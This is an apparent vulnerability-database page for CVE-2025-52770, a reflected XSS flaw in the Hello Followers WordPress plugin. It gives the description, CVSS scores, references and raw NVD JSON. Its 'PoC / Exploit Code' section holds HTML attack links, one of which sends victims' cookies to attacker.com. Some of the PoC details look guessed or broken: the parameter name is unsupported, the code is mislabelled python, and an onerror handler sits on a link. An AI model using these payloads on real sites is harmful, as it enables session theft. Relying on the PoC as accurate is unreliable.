CVE-2025-52770

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in appscreo Hello Followers hellofollowers allows Reflected XSS.This issue affects Hello Followers: from n/a through <= 2.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Hello Followers <= 2.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52770 PoC - Reflected XSS in Hello Followers Plugin -->
<!-- Target: WordPress Hello Followers Plugin <= 2.5 -->
<!-- Attack Vector: Malicious URL with XSS payload -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-52770 PoC</title>
</head>
<body>
    <h2>Reflected XSS PoC for Hello Followers Plugin</h2>
    <p>Click the link below or copy it to target WordPress site:</p>
    
    <!-- Basic XSS PoC -->
    <a href='http://target-site/?hello=<script>alert("XSS")</script>'>
        Malicious Link (Basic Script Injection)
    </a>
    
    <br><br>
    
    <!-- Cookie Stealing PoC -->
    <a href="http://target-site/?hello=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>">
        Malicious Link (Cookie Stealing)
    </a>
    
    <br><br>
    
    <!-- Event Handler Based XSS -->
    <a href="http://target-site/?hello=" onerror="alert('XSS')">
        Malicious Link (Event Handler)
    </a>
    
    <script>
        // Automated test function
        function testXSS() {
            const params = new URLSearchParams(window.location.search);
            const helloParam = params.get('hello');
            if (helloParam) {
                console.log('Testing parameter: ' + helloParam);
                // In real scenario, this would be reflected in the plugin output
            }
        }
        testXSS();
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52770
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52770
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52770/
[4] VulDB https://vuldb.com/cve/CVE-2025-52770
[5] https://patchstack.com/database/Wordpress/Plugin/hellofollowers/vulnerability/wordpress-hello-followers-plugin-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52770", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:46.197", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in appscreo Hello Followers hellofollowers allows Reflected XSS.This issue affects Hello Followers: from n/a through <= 2.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/hellofollowers/vulnerability/wordpress-hello-followers-plugin-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}